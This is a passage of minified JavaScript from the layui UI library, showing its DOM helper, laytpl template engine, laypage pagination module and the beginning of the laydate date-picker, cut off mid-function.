h.each(e||{},function(t,e){n.setAttribute(t,e)}),n},h.hasScrollbar=function(){return f.body.scrollHeight>(l.innerHeight||f.documentElement.clientHeight)},h.position=function(t,e,n){var o,r,i,c,u,a,s;e&&(n=n||{},t!==f&&t!==h(\"body\")[0]||(n.clickType=\"right\"),u=\"right\"===n.clickType?{left:(u=n.e||l.event||{}).clientX,top:u.clientY,right:u.clientX,bottom:u.clientY}:t.getBoundingClientRect(),a=e.offsetWidth,s=e.offsetHeight,o=function(t){return f.body[t=t?\"scrollLeft\":\"scrollTop\"]|f.documentElement[t]},i=u.left,c=u.bottom,\"center\"===n.align?i-=(a-t.offsetWidth)/2:\"right\"===n.align&&(i=i-a+t.offsetWidth),(i=i+a+5>(r=function(t){return f.documentElement[t?\"clientWidth\":\"clientHeight\"]})(\"width\")?r(\"width\")-a-5:i)<5&&(i=5),c+s+5>r()&&(u.top>s+5?c=u.top-s-10:\"right\"===n.clickType?(c=r()-s-10)<0&&(c=0):c=5),(a=n.position)&&(e.style.position=a),e.style.left=i+(\"fixed\"===a?0:o(1))+\"px\",e.style.top=c+(\"fixed\"===a?0:o())+\"px\",h.hasScrollbar()||(s=e.getBoundingClientRect(),!n.SYSTEM_RELOAD&&s.bottom+5>r()&&(n.SYSTEM_RELOAD=!0,setTimeout(function(){h.position(t,e,n)},50))))},h.options=function(t,e){if(e=\"object\"==typeof e?e:{attr:e},t===f)return{};var t=h(t),n=e.attr||\"lay-options\",t=t.attr(n);try{return new Function(\"return \"+(t||\"{}\"))()}catch(o){return layui.hint().error(e.errorText||[n+'=\"'+t+'\"',\"\\n parseerror: \"+o].join(\"\\n\"),\"error\"),{}}},h.isTopElem=function(n){var t=[f,h(\"body\")[0]],o=!1;return h.each(t,function(t,e){if(e===n)return o=!0}),o},r.addStr=function(n,t){return n=n.replace(/\\s+/,\" \"),t=t.replace(/\\s+/,\" \").split(\" \"),h.each(t,function(t,e){new RegExp(\"\\\\b\"+e+\"\\\\b\").test(n)||(n=n+\" \"+e)}),n.replace(/^\\s|\\s$/,\"\")},r.removeStr=function(n,t){return n=n.replace(/\\s+/,\" \"),t=t.replace(/\\s+/,\" \").split(\" \"),h.each(t,function(t,e){e=new RegExp(\"\\\\b\"+e+\"\\\\b\");e.test(n)&&(n=n.replace(e,\"\"))}),n.replace(/\\s+/,\" \").replace(/^\\s|\\s$/,\"\")},r.prototype.find=function(o){var r=this,i=0,c=[],u=\"object\"==typeof o;return this.each(function(t,e){for(var n=u?e.contains(o):e.querySelectorAll(o||null);i<n.length;i++)c.push(n[i]);r.shift()}),u||(r.selector=(r.selector?r.selector+\" \":\"\")+o),h.each(c,function(t,e){r.push(e)}),r},r.prototype.each=function(t){return h.each.call(this,this,t)},r.prototype.addClass=function(n,o){return this.each(function(t,e){e.className=r[o?\"removeStr\":\"addStr\"](e.className,n)})},r.prototype.removeClass=function(t){return this.addClass(t,!0)},r.prototype.hasClass=function(n){var o=!1;return this.each(function(t,e){new RegExp(\"\\\\b\"+n+\"\\\\b\").test(e.className)&&(o=!0)}),o},r.prototype.css=function(e,o){var t=this,r=function(t){return isNaN(t)?t:t+\"px\"};return\"string\"!=typeof e||o!==undefined?t.each(function(t,n){\"object\"==typeof e?h.each(e,function(t,e){n.style[t]=r(e)}):n.style[e]=r(o)}):0<t.length?t[0].style[e]:void 0},r.prototype.width=function(n){var o=this;return n!==undefined?o.each(function(t,e){o.css(\"width\",n)}):0<o.length?o[0].offsetWidth:void 0},r.prototype.height=function(n){var o=this;return n!==undefined?o.each(function(t,e){o.css(\"height\",n)}):0<o.length?o[0].offsetHeight:void 0},r.prototype.attr=function(n,o){var t=this;return o!==undefined?t.each(function(t,e){e.setAttribute(n,o)}):0<t.length?t[0].getAttribute(n):void 0},r.prototype.removeAttr=function(n){return this.each(function(t,e){e.removeAttribute(n)})},r.prototype.html=function(n){var t=this;return n!==undefined?this.each(function(t,e){e.innerHTML=n}):0<t.length?t[0].innerHTML:void 0},r.prototype.val=function(n){var t=this;return n!==undefined?this.each(function(t,e){e.value=n}):0<t.length?t[0].value:void 0},r.prototype.append=function(n){return this.each(function(t,e){\"object\"==typeof n?e.appendChild(n):e.innerHTML=e.innerHTML+n})},r.prototype.remove=function(n){return this.each(function(t,e){n?e.removeChild(n):e.parentNode.removeChild(e)})},r.prototype.on=function(n,o){return this.each(function(t,e){e.attachEvent?e.attachEvent(\"on\"+n,function(t){t.target=t.srcElement,o.call(e,t)}):e.addEventListener(n,o,!1)})},r.prototype.off=function(n,o){return this.each(function(t,e){e.detachEvent?e.detachEvent(\"on\"+n,o):e.removeEventListener(n,o,!1)})},l.lay=h,l.layui&&layui.define&&layui.define(function(t){t(\"lay\",h)})}(window,window.document);layui.define(function(e){\"use strict\";var c={open:\"{{\",close:\"}}\"},l={escape:function(e){return e===undefined||null===e?\"\":/[<\"'>]|&(?=#[a-zA-Z0-9]+)/g.test(e+=\"\")?e.replace(/&(?!#?[a-zA-Z0-9]+;)/g,\"&amp;\").replace(/</g,\"&lt;\").replace(/>/g,\"&gt;\").replace(/'/g,\"&#39;\").replace(/\"/g,\"&quot;\"):e}},i=function(e){return new RegExp(e,\"g\")},u=function(e,r){var n=\"Laytpl Error: \";return\"object\"==typeof console&&console.error(n+e+\"\\n\"+(r||\"\")),n+e},n=function(e,r){var n=this,e=(n.config=n.config||{},n.template=e,function(e){for(var r in e)n.config[r]=e[r]});e(c),e(r)},r=(n.prototype.tagExp=function(e,r,n){var c=this.config;return i((r||\"\")+c.open+[\"#([\\\\s\\\\S])+?\",\"([^{#}])*?\"][e||0]+c.close+(n||\"\"))},n.prototype.parse=function(e,r){var n=this,c=n.config,t=e,o=i(\"^\"+c.open+\"#\",\"\"),p=i(c.close+\"$\",\"\");if(\"string\"!=typeof e)return e;e='\"use strict\";var view = \"'+(e=e.replace(/\\s+|\\r|\\t|\\n/g,\" \").replace(i(c.open+\"#\"),c.open+\"# \").replace(i(c.close+\"}\"),\"} \"+c.close).replace(/\\\\/g,\"\\\\\\\\\").replace(i(c.open+\"!(.+?)!\"+c.close),function(e){return e=e.replace(i(\"^\"+c.open+\"!\"),\"\").replace(i(\"!\"+c.close),\"\").replace(i(c.open+\"|\"+c.close),function(e){return e.replace(/(.)/g,\"\\\\$1\")})}).replace(/(?=\"|')/g,\"\\\\\").replace(n.tagExp(),function(e){return'\";'+(e=e.replace(o,\"\").replace(p,\"\")).replace(/\\\\(.)/g,\"$1\")+';view+=\"'}).replace(n.tagExp(1),function(e){var r='\"+laytpl.escape(';return e.replace(/\\s/g,\"\")===c.open+c.close?\"\":(e=e.replace(i(c.open+\"|\"+c.close),\"\"),/^=/.test(e)?e=e.replace(/^=/,\"\"):/^-/.test(e)&&(e=e.replace(/^-/,\"\"),r='\"+('),r+e.replace(/\\\\(.)/g,\"$1\")+')+\"')}))+'\";return view;';try{return n.cache=e=new Function(\"d, laytpl\",e),e(r,l)}catch(a){return delete n.cache,u(a,t)}},n.prototype.render=function(e,r){e=e||{};var n=this,e=n.cache?n.cache(e,l):n.parse(n.template,e);return\"function\"==typeof r&&r(e),e},function(e,r){return new n(e,r)});r.config=function(e){for(var r in e=e||{})c[r]=e[r]},r.v=\"2.0.0\",e(\"laytpl\",r)});layui.define(function(e){\"use strict\";var r=document,u=\"getElementById\",c=\"getElementsByTagName\",a=\"layui-disabled\",t=function(e){var a=this;a.config=e||{},a.config.index=++o.index,a.render(!0)},o=(t.prototype.type=function(){var e=this.config;if(\"object\"==typeof e.elem)return e.elem.length===undefined?2:3},t.prototype.view=function(){var t,i,n=this.config,r=n.groups=\"groups\"in n?Number(n.groups)||0:5,u=(n.layout=\"object\"==typeof n.layout?n.layout:[\"prev\",\"page\",\"next\"],n.count=Number(n.count)||0,n.curr=Number(n.curr)||1,n.limits=\"object\"==typeof n.limits?n.limits:[10,20,30,40,50],n.limit=Number(n.limit)||10,n.pages=Math.ceil(n.count/n.limit)||1,n.curr>n.pages?n.curr=n.pages:n.curr<1&&(n.curr=1),r<0?r=1:r>n.pages&&(r=n.pages),n.prev=\"prev\"in n?n.prev:\"&#x4E0A;&#x4E00;&#x9875;\",n.next=\"next\"in n?n.next:\"&#x4E0B;&#x4E00;&#x9875;\",n.pages>r?Math.ceil((n.curr+(1<r?1:0))/(0<r?r:1)):1),l={prev:n.prev?'<a class=\"layui-laypage-prev'+(1==n.curr?\" \"+a:\"\")+'\" data-page=\"'+(n.curr-1)+'\">'+n.prev+\"</a>\":\"\",page:function(){var e=[];if(n.count<1)return\"\";1<u&&!1!==n.first&&0!==r&&e.push('<a class=\"layui-laypage-first\" data-page=\"1\"  title=\"&#x9996;&#x9875;\">'+(n.first||1)+\"</a>\");var a=Math.floor((r-1)/2),t=1<u?n.curr-a:1,i=1<u?(a=n.curr+(r-a-1))>n.pages?n.pages:a:r;for(i-t<r-1&&(t=i-r+1),!1!==n.first&&2<t&&e.push('<span class=\"layui-laypage-spr\">&#x2026;</span>');t<=i;t++)t===n.curr?e.push('<span class=\"layui-laypage-curr\"><em class=\"layui-laypage-em\" '+(/^#/.test(n.theme)?'style=\"background-color:'+n.theme+';\"':\"\")+\"></em><em>\"+t+\"</em></span>\"):e.push('<a data-page=\"'+t+'\">'+t+\"</a>\");return n.pages>r&&n.pages>i&&!1!==n.last&&(i+1<n.pages&&e.push('<span class=\"layui-laypage-spr\">&#x2026;</span>'),0!==r&&e.push('<a class=\"layui-laypage-last\" title=\"&#x5C3E;&#x9875;\"  data-page=\"'+n.pages+'\">'+(n.last||n.pages)+\"</a>\")),e.join(\"\")}(),next:n.next?'<a class=\"layui-laypage-next'+(n.curr==n.pages?\" \"+a:\"\")+'\" data-page=\"'+(n.curr+1)+'\">'+n.next+\"</a>\":\"\",count:'<span class=\"layui-laypage-count\">\\u5171 '+n.count+\" \\u6761</span>\",limit:(t=['<span class=\"layui-laypage-limits\"><select lay-ignore>'],layui.each(n.limits,function(e,a){t.push('<option value=\"'+a+'\"'+(a===n.limit?\"selected\":\"\")+\">\"+a+\" \\u6761/\\u9875</option>\")}),t.join(\"\")+\"</select></span>\"),refresh:['<a data-page=\"'+n.curr+'\" class=\"layui-laypage-refresh\">','<i class=\"layui-icon layui-icon-refresh\"></i>',\"</a>\"].join(\"\"),skip:['<span class=\"layui-laypage-skip\">&#x5230;&#x7B2C;','<input type=\"text\" min=\"1\" value=\"'+n.curr+'\" class=\"layui-input\">','&#x9875;<button type=\"button\" class=\"layui-laypage-btn\">&#x786e;&#x5b9a;</button>',\"</span>\"].join(\"\")};return['<div class=\"layui-box layui-laypage layui-laypage-'+(n.theme?/^#/.test(n.theme)?\"molv\":n.theme:\"default\")+'\" id=\"layui-laypage-'+n.index+'\">',(i=[],layui.each(n.layout,function(e,a){l[a]&&i.push(l[a])}),i.join(\"\")),\"</div>\"].join(\"\")},t.prototype.jump=function(e,a){if(e){var t=this,i=t.config,n=e.children,r=e[c](\"button\")[0],u=e[c](\"input\")[0],e=e[c](\"select\")[0],l=function(){var e=Number(u.value.replace(/\\s|\\D/g,\"\"));e&&(i.curr=e,t.render())};if(a)return l();for(var s=0,p=n.length;s<p;s++)\"a\"===n[s].nodeName.toLowerCase()&&o.on(n[s],\"click\",function(){var e=Number(this.getAttribute(\"data-page\"));e<1||e>i.pages||(i.curr=e,t.render())});e&&o.on(e,\"change\",function(){var e=this.value;i.curr*e>i.count&&(i.curr=Math.ceil(i.count/e)),i.limit=e,t.render()}),r&&o.on(r,\"click\",function(){l()})}},t.prototype.skip=function(t){var i,e;t&&(i=this,(e=t[c](\"input\")[0])&&o.on(e,\"keyup\",function(e){var a=this.value,e=e.keyCode;/^(37|38|39|40)$/.test(e)||(/\\D/.test(a)&&(this.value=a.replace(/\\D/,\"\")),13===e&&i.jump(t,!0))}))},t.prototype.render=function(e){var a=this,t=a.config,i=a.type(),n=a.view(),i=(2===i?t.elem&&(t.elem.innerHTML=n):3===i?t.elem.html(n):r[u](t.elem)&&(r[u](t.elem).innerHTML=n),t.jump&&t.jump(t,e),r[u](\"layui-laypage-\"+t.index));a.jump(i),t.hash&&!e&&(location.hash=\"!\"+t.hash+\"=\"+t.curr),a.skip(i)},{render:function(e){return new t(e).index},index:layui.laypage?layui.laypage.index+1e4:0,on:function(a,e,t){return a.attachEvent?a.attachEvent(\"on\"+e,function(e){e.target=e.srcElement,t.call(a,e)}):a.addEventListener(e,t,!1),this}});e(\"laypage\",o)});!function(i,p){\"use strict\";var n=i.layui&&layui.define,l={getPath:i.lay&&lay.getPath?lay.getPath:\"\",link:function(e,t,a){v.path&&i.lay&&lay.layui&&lay.layui.link(v.path+e,t,a)}},e=i.LAYUI_GLOBAL||{},d=\"layui-laydate-id\",v={v:\"5.5.0\",config:{weekStart:0},index:i.laydate&&i.laydate.v?1e5:0,path:e.laydate_dir||l.getPath,set:function(e){var t=this;return t.config=lay.extend({},t.config,e),t},ready:function(e){var t=\"laydate\",a=(n?\"modules/\":\"\")+\"laydate.css?v=\"+v.v;return n?layui[\"layui.all\"]?\"function\"==typeof e&&e():layui.addcss(a,e,t):l.link(a,e,t),this}},s=function(){var t=this,e=t.config.id;return(s.that[e]=t).inst={hint:function(e){t.hint.call(t,e)},reload:function(e){t.reload.call(t,e)},config:t.config}},a=\"laydate\",x=\"layui-this\",k=\"laydate-disabled\",h=[100,2e5],D=\"layui-laydate-static\",w=\"layui-laydate-list\",o=\"laydate-selected\",r=\"layui-laydate-hint\",y=\"laydate-day-prev\",m=\"laydate-day-next\",C=\".laydate-btns-confirm\",M=\"laydate-time-text\",L=\"laydate-btns-time\",T=\"layui-laydate-preview\",E=\"layui-laydate-main\",S=\"layui-laydate-shade\",I=function(e){var t,a=this,n=(a.index=++v.index,a.config=lay.extend({},a.config,v.config,e),lay(e.elem||a.config.elem));return 1<n.length?(lay.each(n,function(){v.render(lay.extend({},a.config,{elem:this}))}),a):(e=lay.extend(a.config,lay.options(n[0])),n[0]&&n.attr(d)?(t=s.getThis(n.attr(d)))?t.reload(e):void 0:(e.id=\"id\"in e?e.id:n.attr(\"id\")||a.index,e.index=a.index,void v.ready(function(){a.init()})))},u=\"yyyy|y|MM|M|dd|d|HH|H|mm|m|ss|s\";s.formatArr=function(e){return(e||\"\").match(new RegExp(u+\"|.\",\"g\"))||[]},I.isLeapYear=function(e){return e%4==0&&e%100!=0||e%400==0},I.prototype.config={type:\"date\",range:!1,format:\"yyyy-MM-dd\",value:null,isInitValue:!0,min:\"1900-1-1\",max:\"2099-12-31\",trigger:\"click\",show:!1,showBottom:!0,isPreview:!0,btns:[\"clear\",\"now\",\"confirm\"],lang:\"cn\",theme:\"default\",position:null,calendar:!1,mark:{},holidays:null,zIndex:null,done:null,change:null,autoConfirm:!0,shade:0},I.prototype.lang=function(){var e={cn:{weeks:[\"\\u65e5\",\"\\u4e00\",\"\\u4e8c\",\"\\u4e09\",\"\\u56db\",\"\\u4e94\",\"\\u516d\"],time:[\"\\u65f6\",\"\\u5206\",\"\\u79d2\"],timeTips:\"\\u9009\\u62e9\\u65f6\\u95f4\",startTime:\"\\u5f00\\u59cb\\u65f6\\u95f4\",endTime:\"\\u7ed3\\u675f\\u65f6\\u95f4\",dateTips:\"\\u8fd4\\u56de\\u65e5\\u671f\",month:[\"\\u4e00\",\"\\u4e8c\",\"\\u4e09\",\"\\u56db\",\"\\u4e94\",\"\\u516d\",\"\\u4e03\",\"\\u516b\",\"\\u4e5d\",\"\\u5341\",\"\\u5341\\u4e00\",\"\\u5341\\u4e8c\"],tools:{confirm:\"\\u786e\\u5b9a\",clear:\"\\u6e05\\u7a7a\",now:\"\\u73b0\\u5728\"},timeout:\"\\u7ed3\\u675f\\u65f6\\u95f4\\u4e0d\\u80fd\\u65e9\\u4e8e\\u5f00\\u59cb\\u65f6\\u95f4<br>\\u8bf7\\u91cd\\u65b0\\u9009\\u62e9\",invalidDate:\"\\u4e0d\\u5728\\u6709\\u6548\\u65e5\\u671f\\u6216\\u65f6\\u95f4\\u8303\\u56f4\\u5185\",formatError:[\"\\u65e5\\u671f\\u683c\\u5f0f\\u4e0d\\u5408\\u6cd5<br>\\u5fc5\\u987b\\u9075\\u5faa\\u4e0b\\u8ff0\\u683c\\u5f0f\\uff1a<br>\",\"<br>\\u5df2\\u4e3a\\u4f60\\u91cd\\u7f6e\"],preview:\"\\u5f53\\u524d\\u9009\\u4e2d\\u7684\\u7ed3\\u679c\"},en:{weeks:[\"Su\",\"Mo\",\"Tu\",\"We\",\"Th\",\"Fr\",\"Sa\"],time:[\"Hours\",\"Minutes\",\"Seconds\"],timeTips:\"Select Time\",startTime:\"Start Time\",endTime:\"End Time\",dateTips:\"Select Date\",month:[\"Jan\",\"Feb\",\"Mar\",\"Apr\",\"May\",\"Jun\",\"Jul\",\"Aug\",\"Sep\",\"Oct\",\"Nov\",\"Dec\"],tools:{confirm:\"Confirm\",clear:\"Clear\",now:\"Now\"},timeout:\"End time cannot be less than start Time<br>Please re-select\",invalidDate:\"Invalid date\",formatError:[\"The date format error<br>Must be followed\\uff1a<br>\",\"<br>It has been reset\"],preview:\"The selected result\"}};return e[this.config.lang]||e.cn},I.prototype.reload=function(e){this.config=lay.extend({},this.config,e),this.init()},I.prototype.init=function(){var r=this,o=r.config,e=\"static\"===o.position,t={year:\"yyyy\",month:\"yyyy-MM\",date:\"yyyy-MM-dd\",time:\"HH:mm:ss\",datetime:\"yyyy-MM-dd HH:mm:ss\"};o.elem=lay(o.elem),o.eventElem=lay(o.eventElem),o.elem[0]&&(\"array\"!==layui.type(o.theme)&&(o.theme=[o.theme]),o.fullPanel&&(\"datetime\"!==o.type||o.range)&&delete o.fullPanel,r.rangeStr=o.range?\"string\"==typeof o.range?o.range:\"-\":\"\",r.rangeLinked=!(!o.range||!o.rangeLinked||\"date\"!==o.type&&\"datetime\"!==o.type),r.autoCalendarModel=function(){var e=r.rangeLinked;return r.rangeLinked=o.range&&(\"date\"===o.type||\"datetime\"===o.type)&&(!r.startDate||!r.endDate||r.startDate&&r.endDate&&r.startDate.year===r.endDate.year&&r.startDate.month===r.endDate.month),lay(r.elem)[r.rangeLinked?\"addClass\":\"removeClass\"](\"layui-laydate-linkage\"),r.rangeLinked!=e},r.autoCalendarModel.auto=r.rangeLinked&&\"auto\"===o.rangeLinked,\"array\"===layui.type(o.range)&&(r.rangeElem=[lay(o.range[0]),lay(o.range[1])]),t[o.type]||(i.console&&console.error&&console.error(\"laydate type error:'\"+o.type+\"' is not supported\"),o.type=\"date\"),o.format===t.date&&(o.format=t[o.type]||t.date),r.format=s.formatArr(o.format),o.weekStart&&!/^[0-6]$/.test(o.weekStart)&&(t=r.lang(),o.weekStart=t.weeks.indexOf(o.weekStart),-1===o.weekStart&&(o.weekStart=0)),r.EXP_IF=\"\",r.EXP_SPLIT=\"\",lay.each(r.format,function(e,t){e=new RegExp(u).test(t)?\"\\\\d{\"+(new RegExp(u).test(r.format[0===e?e+1:e-1]||\"\")?/^yyyy|y$/.test(t)?4:t.length:/^yyyy$/.test(t)?\"1,4\":/^y$/.test(t)?\"1,308\":\"1,2\")+\"}\":\"\\\\\"+t;r.EXP_IF=r.EXP_IF+e,r.EXP_SPLIT=r.EXP_SPLIT+\"(\"+e+\")\"}),r.EXP_IF_ONE=new RegExp(\"^\"+r.EXP_IF+\"$\"),r.EXP_IF=new RegExp(\"^\"+(o.range?r.EXP_IF+\"\\\\s\\\\\"+r.rangeStr+\"\\\\s\"+r.EXP_IF:r.EXP_IF)+\"$\"),r.EXP_SPLIT=new RegExp(\"^\"+r.EXP_SPLIT+\"$\",\"\"),r.isInput(o.elem[0])||\"focus\"===o.trigger&&(o.trigger=\"click\"),o.elem.attr(\"lay-key\",r.index),o.eventElem.attr(\"lay-key\",r.index),o.elem.attr(d,o.id),o.mark=lay.extend({},o.calendar&&\"cn\"===o.lang?{\"0-1-1\":\"\\u5143\\u65e6\",\"0-2-14\":\"\\u60c5\\u4eba\",\"0-3-8\":\"\\u5987\\u5973\",\"0-3-12\":\"\\u690d\\u6811\",\"0-4-1\":\"\\u611a\\u4eba\",\"0-5-1\":\"\\u52b3\\u52a8\",\"0-5-4\":\"\\u9752\\u5e74\",\"0-6-1\":\"\\u513f\\u7ae5\",\"0-9-10\":\"\\u6559\\u5e08\",\"0-10-1\":\"\\u56fd\\u5e86\",\"0-12-25\":\"\\u5723\\u8bde\"}:{},o.mark),lay.each([\"min\",\"max\"],function(e,t){var a=[],n=[];if(\"number\"==typeof o[t])var i=o[t],l=new Date,l=r.newDate({year:l.getFullYear(),month:l.getMonth(),date:l.getDate(),hours:e?23:0,minutes:e?59:0,seconds:e?59:0}).getTime(),e=new Date(i?i<864e5?l+864e5*i:i:l),a=[e.getFullYear(),e.getMonth()+1,e.getDate()],n=[e.getHours(),e.getMinutes(),e.getSeconds()];else if(\"string\"==typeof o[t])a=(o[t].match(/\\d+-\\d+-\\d+/)||[\"\"])[0].split(\"-\"),n=(o[t].match(/\\d+:\\d+:\\d+/)||[\"\"])[0].split(\":\");else if(\"object\"==typeof o[t])return o[t];o[t]={year:0|a[0]||(new Date).getFullYear(),month:a[1]?(0|a[1])-1:(new Date).getMonth(),date:0|a[2]||(new Date).getDate(),hours:0|n[0],minutes:0|n[1],seconds:0|n[2]}}),r.elemID=\"layui-laydate\"+o.elem.attr(\"lay-key\"),(o.show||e)&&r.render(),e||r.events(),o.value&&o.isInitValue&&(\"date\"===layui.type(o.value)?r.setValue(r.parse(0,r.systemDate(o.value))):r.setValue(o.value)))},I.prototype.render=function(){var a,n,i,l,r=this,o=r.config,d=r.lang(),s=\"static\"===o.position,y=r.elem=lay.elem(\"div\",{id:r.elemID,\"class\":[\"layui-laydate\",o.range?\" layui-laydate-range\":\"\",r.rangeLinked?\" layui-laydate-linkage\":\"\",s?\" \"+D:\"\",o.fullPanel?\" laydate-theme-fullpanel\":\"\",(a=\"\",lay.each(o.theme,function(e,t){\"default\"===t||/^#/.test(t)||(a+=\" laydate-theme-\"+t)}),a)].join(\"\")}),m=r.elemMain=[],u=r.elemHeader=[],c=r.elemCont=[],h=r.table=[],e=r.footer=lay.elem(\"div\",{\"class\":\"layui-laydate-footer\"}),t=r.shortcut=lay.elem(\"ul\",{\"class\":\"layui-laydate-shortcut\"}),f=(o.zIndex&&(y.style.zIndex=o.zIndex),lay.each(new Array(2),function(e){if(!o.range&&0<e)return!0;var a=lay.elem(\"div\",{\"class\":\"layui-laydate-header\"}),t=[((t=lay.elem(\"i\",{\"class\":\"layui-icon laydate-icon laydate-prev-y\"})).innerHTML=\"&#xe65a;\",t),((t=lay.elem(\"i\",{\"class\":\"layui-icon laydate-icon laydate-prev-m\"})).innerHTML=\"&#xe603;\",t),(t=lay.elem(\"div\",{\"class\":\"laydate-set-ym\"}),n=lay.elem(\"span\"),l=lay.elem(\"span\"),t.appendChild(n),t.appendChild(l),t),((n=lay.elem(\"i\",{\"class\":\"layui-icon laydate-icon laydate-next-m\"})).innerHTML=\"&#xe602;\",n),((l=lay.elem(\"i\",{\"class\":\"layui-icon laydate-icon laydate-next-y\"})).innerHTML=\"&#xe65b;\",l)],n=lay.elem(\"div\",{\"class\":\"layui-laydate-content\"}),i=lay.elem(\"table\"),l=lay.elem(\"thead\"),r=lay.elem(\"tr\");lay.each(t,function(e,t){a.appendChild(t)}),l.appendChild(r),lay.each(new Array(6),function(a){var n=i.insertRow(0);lay.each(new Array(7),function(e){var t;0===a&&((t=lay.elem(\"th\")).innerHTML=d.weeks[(e+o.weekStart)%7],r.appendChild(t)),n.insertCell(e)})}),i.insertBefore(l,i.children[0]),n.appendChild(i),m[e]=lay.elem(\"div\",{\"class\":E+\" laydate-main-list-\"+e}),m[e].appendChild(a),m[e].appendChild(n),u.push(t),c.push(n),h.push(i)}),lay(e).html((f=[],n=[],\"datetime\"===o.type&&f.push('<span lay-type=\"datetime\" class=\"'+L+'\">'+d.timeTips+\"</span>\"),(o.range||\"datetime\"!==o.type||o.fullPanel)&&f.push('<span class=\"'+T+'\" title=\"'+d.preview+'\"></span>'),lay.each(o.btns,function(e,t){var a=d.tools[t]||\"btn\";o.range&&\"now\"===t||(s&&\"clear\"===t&&(a=\"cn\"===o.lang?\"\\u91cd\\u7f6e\":\"Reset\"),n.push('<span lay-type=\"'+t+'\" class=\"laydate-btns-'+t+'\">'+a+\"</span>\"))}),f.push('<div class=\"laydate-footer-btns\">'+n.join(\"\")+\"</div>\"),f.join(\"\"))),o.shortcuts&&(y.appendChild(t),lay(t).html((i=[],lay.each(o.shortcuts,function(e,t){i.push('<li data-index=\"'+e+'\">'+t.text+\"</li>\")}),i.join(\"\"))).find(\"li\").on(\"click\",function(e){var t=(o.shortcuts[this.dataset.index]||{}).value||[],n=(layui.isArray(t)||(t=[t]),o.type),t=(lay.each(t,function(e,t){var a=[o.dateTime,r.endDate][e];\"time\"===n&&\"date\"!==layui.type(t)?r.EXP_IF.test(t)&&(t=(t.match(r.EXP_SPLIT)||[]).slice(1),lay.extend(a,{hours:0|t[0],minutes:0|t[2],seconds:0|t[4]})):lay.extend(a,r.systemDate(\"date\"===layui.type(t)?t:new Date(t))),\"time\"!==n&&\"datetime\"!==n||(r[[\"startTime\",\"endTime\"][e]]={hours:a.hours,minutes:a.minutes,seconds:a.seconds}),0===e?r.startDate=lay.extend({},a):r.endState=!0,\"year\"===n||\"month\"===n||\"time\"===n?r.listYM[e]=[a.year,a.month+1]:e&&r.autoCalendarModel.auto&&r.autoCalendarModel()}),r.checkDate(\"limit\").calendar(null,null,\"init\"),lay(r.footer).find(\".\"+L).removeClass(k));t&&\"date\"===t.attr(\"lay-type\")&&t[0].click(),r.done(null,\"change\"),lay(this).addClass(x),\"static\"!==o.position&&!o.range&&o.autoConfirm&&(\"date\"===n?r.choose(lay(y).find(\"td.layui-this\")):\"year\"!==n&&\"month\"!==n||lay(m[0]).find(\".\"+E+\" li.\"+x+\":not(.laydate-disabled)\")[0]&&r.setValue(r.parse()).done().remove())})),lay.each(m,function(e,t){y.appendChild(t)}),o.showBottom&&y.appendChild(e),lay.elem(\"style\")),g=[],t=(lay.each(o.theme,function(e,t){/^#/.test(t)&&(l=!0,g.push([\"#{{id}} .layui-laydate-header{background-color:{{theme}};}\",\"#{{id}} li.layui-this,#{{id}} td.layui-this>div{background-color:{{theme}} !important;}\",-1!==o.theme.indexOf(\"circle\")?\"\":\"#{{id}} .layui-this{background-color:{{theme}} !important;}\"].join(\"\").replace(/{{id}}/g,r.elemID).replace(/{{theme}}/g,t)))}),o.shortcuts&&o.range&&g.push(\"#{{id}}.layui-laydate-range{width: 628px;}\".replace(/{{id}}/g,r.elemID)),g.length&&(g=g.join(\"\"),\"styleSheet\"in f?(f.setAttribute(\"type\",\"text/css\"),f.styleSheet.cssText=g):f.innerHTML=g,l&&lay(y).addClass(\"laydate-theme-molv\"),y.appendChild(f)),r.remove(I.thisElemDate),v.thisId=o.id,s?o.elem.append(y):(p.body.appendChild(y),r.position()),o.shade?'<div class=\"'+S+'\" style=\"z-index:'+(parseInt(layui.getStyle(y,\"z-index\"))-1)+\"; background-color: \"+(o.shade[1]||\"#000\")+\"; opacity: \"+(o.shade[0]||o.shade)+'\"></div>':\"\");y.insertAdjacentHTML(\"beforebegin\",t),r.checkDate().calendar(null,0,\"init\"),r.changeEvent(),I.thisElemDate=r.elemID,r.renderAdditional(),\"function\"==typeof o.ready&&o.ready(lay.extend({},o.dateTime,{month:o.dateTime.month+1})),r.preview()},I.prototype.remove=function(e){var t=this,a=t.config,n=lay(\"#\"+(e||t.elemID));return n[0]&&(n.hasClass(D)||t.checkDate(function(){n.remove(),delete t.startDate,delete t.endDate,delete t.endState,delete t.startTime,delete t.endTime,delete v.thisId,\"function\"==typeof a.close&&a.close(t)}),lay(\".\"+S).remove()),t},I.prototype.position=function(){var e=this.config;return lay.position(e.elem[0],this.elem,{position:e.position}),this},I.prototype.hint=function(e){var t=this,a=(t.config,lay.elem(\"div\",{\"class\":r}));t.elem&&(a.innerHTML=(e=\"object\"==typeof e?e||{}:{content:e}).content||\"\",lay(t.elem).find(\".\"+r).remove(),t.elem.appendChild(a),clearTimeout(t.hinTimer),t.hinTimer=setTimeout(function(){lay(t.elem).find(\".\"+r).remove()},\"ms\"in e?e.ms:3e3))},I.prototype.getAsYM=function(e,t,a){return a?t--:t++,t<0&&(t=11,e--),11<t&&(t=0,e++),[e,t]},I.prototype.systemDate=function(e){var t=e||new Date;return{year:t.getFullYear(),month:t.getMonth(),date:t.getDate(),hours:e?e.getHours():0,minutes:e?e.getMinutes():0,seconds:e?e.getSeconds():0}},I.prototype.checkDate=function(e){var t,o,d=this,s=(new Date,d.config),a=d.lang(),n=s.dateTime=s.dateTime||d.systemDate(),i=s.elem[0],l=(d.isInput(i),function(){if(d.rangeElem){var e=[d.rangeElem[0].val(),d.rangeElem[1].val()];if(e[0]&&e[1])return e.join(\" \"+d.rangeStr+\" \")}return d.isInput(i)?i.value:\"static\"===s.position?\"\":lay(i).attr(\"lay-date\")}()),y=function(e){e&&(e.year>h[1]&&(e.year=h[1],o=!0),11<e.month&&(e.month=11,o=!0),59<e.seconds&&(e.seconds=0,e.minutes++,o=!0),59<e.minutes&&(e.minutes=0,e.hours++,o=!0),23<e.hours&&(e.hours=0,o=!0),t=v.getEndDate(e.month+1,e.year),e.date>t&&(e.date=t,o=!0))},r=function(n,i,l){var r=[\"startTime\",\"endTime\"];i=(i.match(d.EXP_SPLIT)||[]).slice(1),l=l||0,s.range&&(d[r[l]]=d[r[l]]||{}),lay.each(d.format,function(e,t){var 